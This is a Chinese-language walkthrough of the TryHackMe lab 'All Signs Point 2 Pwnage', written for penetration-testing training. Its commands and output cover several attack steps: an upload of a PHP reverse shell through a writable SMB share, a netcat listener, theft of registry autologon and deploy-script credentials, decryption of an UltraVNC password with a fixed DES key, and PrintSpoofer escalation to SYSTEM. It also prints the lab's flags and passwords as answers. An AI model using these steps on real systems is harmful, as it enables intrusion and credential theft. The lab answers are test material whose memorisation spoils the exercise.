AllSignsPoint2Pwnage — TryHackMe实战演练
介绍
本实验面向学生和网络安全专业人员,用于练习Windows后渗透技术,包括凭据发现、VNC密码解码以及使用PrintSpoofer利用SeImpersonatePrivilege进行权限提升。通过实际操作帮助理解真实攻击路径和常见安全配置错误。
实践技能:
- Windows凭据枚举
- 安装程序和部署脚本分析
- 本地权限提升
- 获取SYSTEM级别访问权限
目标受众: 准备进行实践渗透测试、红队演练或Active Directory利用实验室的学生和专业人员。
相关认证/考试:
- CRTP(认证红队专业人员):专注于Windows AD利用和权限提升
- OSCP/OSWP:提供基础Windows利用和后渗透技能
- eJPT/Pentest+:提供凭据发现和后渗透的通用理解
参考: TryHackMe — All Signs Point 2 Pwnage
初始侦察
使用服务/版本检测和默认脚本进行完整TCP nmap扫描,然后对端口1-10000进行更快速的聚焦扫描以加速发现。
1
|
nmap -sV -sC -Pn -p 1-10000 -T4 10.10.130.54
|
关键nmap输出(精简):
1
2
3
4
5
6
7
8
9
10
|
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
5040/tcp open unknown
5900/tcp open vnc VNC (protocol 3.8)
|
服务信息:操作系统:Windows;CPE:cpe:/o:microsoft:windows
问题: 1024以下有多少个TCP端口开放?
答案: 6
- FTP(21)— 允许匿名登录
- Web服务器(80/443)— Apache + PHP(XAMPP)
- SMB(139/445)— 命名共享(包括可写images$)
- RDP(3389)— 远程桌面可用
- VNC(5900)— VNC服务存在
- 未知服务(5040)— 需要进一步检查
注意:Windows上的Apache/PHP + 可写images$表明存在web上传/可写路径 — 理想的初始立足点。
FTP — 快速检查
由于FTP允许匿名登录,我立即连接以查找提示或文件:
1
2
3
4
|
ftp 10.10.130.54
# 以anonymous/anonymous登录
ftp> ls
ftp> get notice.txt
|
我下载了notice.txt,其中包含开发团队的简短消息:
1
2
3
4
5
6
|
NOTICE
======
Due to customer complaints about using FTP we have now moved 'images' to
a hidden windows file share for upload and management
of images.
- Dev Team
|
这给出了明确提示:检查SMB共享以查找隐藏的images共享。
SMB枚举
使用smbclient -L枚举SMB共享,发现多个共享,包括隐藏的images$共享:
1
|
smbclient -L 10.10.130.54
|
共享名称输出:
1
2
3
4
5
6
7
8
|
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
images$ Disk
Installs$ Disk
IPC$ IPC Remote IPC
Users Disk
|
问题: 应将图像复制到的隐藏共享是什么?
答案: images$
上传PHP反向Shell(初始立足点)
我从可信仓库获取PHP反向Shell,并使用我的攻击IP和端口进行配置:
接下来,我使用smbclient连接到images$共享(映射到web根目录)并上传shell:
1
2
3
4
5
6
7
|
# 连接到images$共享
smbclient //10.10.130.54/images$
# 在smb提示符下上传文件
smb: \> put shell.php
putting file shell.php as \shell.php (0.6 kb/s) (average 0.6 kb/s)
smb: \>
|
文件上传到web根目录后,我打开本地netcat监听器并通过HTTP请求触发PHP shell:
1
2
3
4
5
|
# 在我的机器上
nc -lnvp 4444
# 从我的机器(或另一个终端)触发上传的PHP
curl http://10.10.130.54/images/shell.php
|
监听器立即收到连接:
1
2
3
|
Listening on 0.0.0.0 4444
Connection received on 10.10.130.54 49918
SOCKET: Shell has connected! PID: 3140
|
在远程shell上,我确认了用户和环境:
1
2
|
C:\xampp\htdocs\images> whoami
desktop-997gg7d\sign
|
因此控制台会话用户是sign。
问题: 登录控制台会话的用户是谁?
答案: sign
我还从shell枚举共享以确认其他仅远程/管理员共享:
问题: 什么隐藏的非标准共享只能作为管理账户远程访问?
答案: Installs$
获取用户标志
最后,我从sign桌面获取用户标志:
1
2
|
C:\Users\sign\Desktop> type user_flag.txt
thm{48u51n9_5y573m_func710n4117y_f02_fun_4nd_p20f17}
|
后渗透
凭据发现
运行命令:
1
|
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
|
相关输出(摘录):
1
2
3
4
5
6
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoLogonSID REG_SZ S-1-5-21-201290883-77286733-747258586-1001
LastUsedUsername REG_SZ .\sign
DefaultUsername REG_SZ .\sign
DefaultPassword REG_SZ gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSH
AutoAdminLogon REG_DWORD 0x1
|
发现自动登录已启用(AutoAdminLogon=1),注册表显示了用户.\sign的存储凭据。
恢复的密码:gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSH
问题: 用户的密码是什么?
答案: gKY1uxHLuU1zzlI4wwdAcKUw35TPMdv7PAEE5dAFbV2NxpPJVO7eeSH
Installs$共享和UltraVNC — 凭据发现
上下文检查Installs$ SMB共享(映射到C:\Installs)以查找部署脚本和安装程序工件。
命令:
1
|
type C:\Installs\Install_www_and_deploy.bat
|
Install_www_and_deploy.bat(摘录):
1
2
3
4
5
6
7
8
9
10
11
12
|
@echo off
REM Shop Sign Install Script
cd C:\Installs
psexec -accepteula -nobanner -u administrator -p RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi xampp-windows-x64-7.4.11-0-VC15-installer.exe ...
xcopy C:\Installs\simepleslide\src\* C:\xampp\htdocs\
move C:\xampp\htdocs\index.php C:\xampp\htdocs\index.php_orig
copy C:\Installs\simepleslide\src\slide.html C:\xampp\htdocs\index.html
mkdir C:\xampp\htdocs\images
UltraVNC_1_2_40_X64_Setup.exe /silent
copy ultravnc.ini "C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini" /y
copy startup.bat "c:\programdata\Microsoft\Windows\Start Menu\Programs\Startup\"
pause
|
问题: 管理员密码是什么?
答案: RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi
问题: 使用什么可执行文件以管理员用户名和密码运行安装程序?
答案: PsExec.exe
检查UltraVNC配置 — 凭据发现
定位UltraVNC配置文件:
1
|
type "C:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini"
|
输出:
1
2
3
4
5
6
7
|
[ultravnc]
passwd=B3A8F2D8BEA2F1FA70
passwd2=00B2CDC0BADCAF1397
[admin]
UseRegistry=0
SendExtraMouse=1
Secure=0
|
这是一个加密/十六进制编码的blob,表示VNC密码。
解码UltraVNC密码
使用社区技术(参见:https://github.com/frizb/PasswordDecrypts)。
在攻击者Linux主机上执行的命令:
1
2
|
echo -n B3A8F2D8BEA2F1FA70 | xxd -r -p | \
openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
|
输出hexdump(截断):
1
|
00000000 35 75 70 70 30 72 74 39 |5upp0rt9|
|
解码的VNC密码:5upp0rt9
问题: VNC密码是什么?
答案: 5upp0rt9
权限提升和Root标志捕获
权限枚举
在枚举过程中,我们发现当前用户启用了SeImpersonatePrivilege,这允许模拟其他用户,包括SYSTEM。
命令:
相关输出:
1
2
3
4
5
6
7
8
9
|
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled <--
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
|
使用PrintSpoofer利用SeImpersonatePrivilege
为了提升到NT AUTHORITY\SYSTEM,我们利用了PrintSpoofer有效载荷。
步骤1: 下载PrintSpoofer
1
|
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
|
步骤2: 通过SMB将二进制文件上传到目标
1
|
smb: \> put PrintSpoofer64.exe
|
步骤3: 在目标上执行PrintSpoofer
1
|
C:\xampp\htdocs\images>PrintSpoofer64.exe -i -c cmd
|
输出:
1
2
3
4
5
6
|
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
|
捕获Root标志
使用SYSTEM权限,我们访问了Administrator桌面标志:
1
|
type "C:\Users\Administrator\Desktop\admin_flag.txt"
|
标志:thm{p455w02d_c4n_83_f0und_1n_p141n_73x7_4dm1n_5c21p75}